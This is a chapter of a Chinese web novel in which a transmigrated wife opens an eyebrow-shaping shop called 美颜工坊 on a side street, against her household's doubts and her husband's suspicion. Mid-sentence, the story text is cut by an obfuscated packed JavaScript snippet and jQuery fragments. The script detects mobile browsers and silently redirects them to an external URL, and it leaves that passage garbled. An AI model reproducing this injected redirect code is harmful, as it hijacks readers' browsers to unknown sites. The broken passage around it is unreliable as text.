30. 第三十章

作品:《红眼青眉

    只是,慌也没用。


    该花的钱还是要花。无论如何,总不能拖了人家工钱吧?于是,等到郡王府发工钱的那天,她核对好那本只有支出没有收入的账本,终于灵机一动,她宣布道:“我决定,做点生意!”


    沈怜青一听此言,脸色煞白,仿佛感冒还没好全。


    他咳嗽两声,道:“你想做什么?”


    “做生意。”


    但沈怜青那表情,好像是听见了她要杀人放火一样。


    就连一旁的书心和墨语,忽然,都瞠目结舌。只有站在她身边的小栗子,喜笑颜开,立即回应道:“好呀夫人!好呀好呀!”


    小手紧握着举起来一晃一晃的,跟在那儿应援似的。


    蔺小将非常满意,手一伸,便道:“把房产……那个纸拿出来。”


    要是没看错的话,林颜君那些嫁妆箱子里,独有一个小箱子,像蛋糕盒一样大小,铺满了写着地址和盖着红章的纸,一张叠着一张,公厕的手纸叠起来也没那么厚。


    既然那些珠宝银票,她愧于良心,实在不敢动。


    那么,取些可以建设的东西,钱生钱,总是问题不大的吧?她这想法来得快,真正落实下去,也不过几日时间,她便带着小栗子选好了位于关中,一条集市街上的铺子。只是那地契虽是她的陪嫁,但盖的不是林家的章。


    因此,她为了要开拓店面,还和官府打了个交道。


    沈怜青屡屡口头阻止,且总在家中长吁短叹,道:“不知是成何体统!”


    而林老爷听闻她的作为,传信来含沙射影地表达对此事并不支持,说是说怕她辛苦。又提到那红章,他在信中解释道:“这些铺子都是盖你母亲的章。当初,是我过给你母亲的。”


    总之,只要上官府取个税证,开工之日就在眼前了。


    “可是,我要干点什么生意?”


    这个问题她怎么才想起来!问了小栗子,小栗子思索良久,回道:“开个酒肆!再从咱家林府挖几个厨子过来,指定生意红火!”


    但这种事情还是集思广益一下比较好。


    她在廊下遇见时礼嬷嬷,时礼嬷嬷闻言,笑道:“我觉得夫人可以开个女红坊,如今大多女孩儿手上的功夫跟不上,等到结了婚了,要给郎君绣个香囊,都不知怎么绣呢。”


    “您要是开了,可以请我。我母亲在南边做了几十年绣娘。”


    她笑笑,嘴上应着“好好好”,一路走,一路又遇见了理安嬷嬷。如今理安嬷嬷身兼多职,忽然有空与她碰上,还未等她开口,便拦住了她。


    “夫人!”


    “夫人……”


    她倒顿感不妙,不想停留。


    理安嬷嬷快步追上来,道:“我听说您要出外做点什么生意?”


    “呵呵……是。”


    林颜君这两条腿的确长,但她如何用这两条腿快步走,理安嬷嬷那两条健壮有力的腿,也能稳步追上来,脸上的表情也不崩,始终是侃然正色。


    “您做好打算了吗?”


    “打算?自然是做好了。”


    “您打算做什么?”


    “做什么……”


    这是个好问题。但她不知道好答案。


    于是,她微笑,停步,望向理安嬷嬷,道:“嬷嬷有没有什么高见?”


    “我认为您什么也不要做。”


    “什么也不要做?”


    理安嬷嬷稍稍垂了垂眼,道:“请您原谅。在我看来,如今朝代新替,世道不稳,男子做生意都多有坎坷,酒楼茶馆,书房香铺,连官盐米行都难以经营。何况,咱们郡王府……您放心,也没有到那种地步。”


    “哪种地步?”


    她正想小小发下火,但看着理安嬷嬷那张十分真诚的脸,实在发不出来。


    “难道,就没有一件好做的……”


    话还未说完,她忽地一笑——这还用问什么?


    排除法不都用上了吗!


    什么卖酒卖茶卖书卖香的都不好做!那也就是说,除了这些,其他都不那么难做吧?


    她有了思绪,便着手准备起来。没事也不在郡王府中瞎遛达来找灵感了,那日与理安嬷嬷道别后,她一连几日都带着小栗子出门,说是出门赏春,实际是考察地标去了。


    从嫁妆中选中的那张地契,位于关中不算繁华的地段:狮头街。


    这狮头街从前被人口口相传取名为“官路”,实际是臣子上下朝必经之路。路头路尾放着两尊石狮子,以示威严,但几十年前宫门新建,南北长街的变化,朝事又多有改革,因此,这条路上本来只有几家书房供官员消遣,后面大多土地渐渐改为民生所用。那间商铺,便是林家几十年前,从一个书房店家手中买来的。


    小栗子说完前因后果,又道:“这些事,咱们府中的人都知道。”


    但蔺小将仍夸赞她的记忆力,又给了她些赏钱,让她到这条街上,刚才路过的茶肆里买两碗甜乳茶来。那里门庭若市,看来是口味不错,买来试试,也好学习学习。


    “夫人,您给多了。”


    小栗子去买了回来,嘟囔道:“而且,我也有许多钱。”


    天朗气清,艳阳高照,二人站在柳荫下,远远地看着她那间空旷的店面,聊起天。


    “你有许多钱?那你借一些给我,好不好?”


    “好呀。”


    “借多少?”


    “您要多少?”


    “全部。”


    “好。”


    小栗子说完,将两碗甜乳茶递给她,空出手来便要掏钱袋,口中还念着什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17439141|198438||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我的箱子里还有,还有……”。蔺小将笑了,递过那碗甜乳茶,示意着,让她先喝。二人都喝完了,也想不出来什么评价,只是心照不宣地都认为还没郡王府那半吊子的厨房做得好喝。


    想来,生意好也无非是因为价格在这条街上相对便宜。


    了解完这里大概的消费水平后,大致的方向,她心中终于落定。要真正开始大展手脚,最主要的是工人和材料这些事,便交给书心去办,他办得战战兢兢,每次汇报进度的时候,都要先注明:“您可不能告诉墨语哥哥。”


    “匾已上油了。工匠要您确认,是否真叫那名?”


    “确认。”


    那时,已过四月雨季,下完最后一场春雨后,初夏的热浪狂袭。午后时分,乌云密布,遮天蔽日,忽来风扫落叶,她就在那样一个并不晴朗的日子,出了郡王府的大门,去看了那块即将挂上的匾。


    只有一个不太爱说话的马夫跟着她。


    驶过一段路后,她就站在即将到来的暴雨天里,确认了那块匾:


    “美颜工坊。”


    好名,好字,好大的一块匾——都是还给林颜君的。


    这几日,她无数次想过,要不还叫“美人工坊”算了?毕竟那名字有生意缘,活活将她在前身时那个不足十人的工作室拉扯到上百人呢。但上字前一夜,她看着那张写着:“赠予爱女林颜君”的地契,还是放弃了这个想法。


    所以,这里面既然已经有了一个“颜”字。她想,那就要由林颜君,来执笔写下除去这块招牌外,别的什么东西。


    比如说,广告词也好啊……


    否则怎么解释画人画猫画物都颇有心得的林颜君,为什么这么些日子来完全不动笔啊!


    于是,在暴雨来临前,她抓起那张写匾的人留下的宣纸,大手一挥,凭着前身化妆的手法,和林颜君的肌肉记忆,洋洋洒洒地写下了:“本店提供修眉,画眉。”


    写完后,她看着林颜君那一手好字,微微一笑,随后,拿钥匙上了锁,便重坐上了那位不爱说话的马夫的车子。


    一路无话。


    只有雨声,风声,仿佛从她耳旁呼啸而过,但她挑起帘子一看,还没有下雨。只是,郡王府已经到了。


    沈怜青在府门前,等着她。


    “你不上课吗?”


    说完,她快步便要走。


    “为什么这段时日,你天天出门?”


    他拉住她袖口,迫使她停步,俯身在她耳旁,道:“你在做什么?”


    她没有立即回话。


    他双眼忽然扫过周围几个家奴,眼色一转,再望向她时,已无限温柔。


    “走吧。娘子。”


    他这声音听起来缱绻缠绵,但她怎么感觉——


    风雨欲来啊。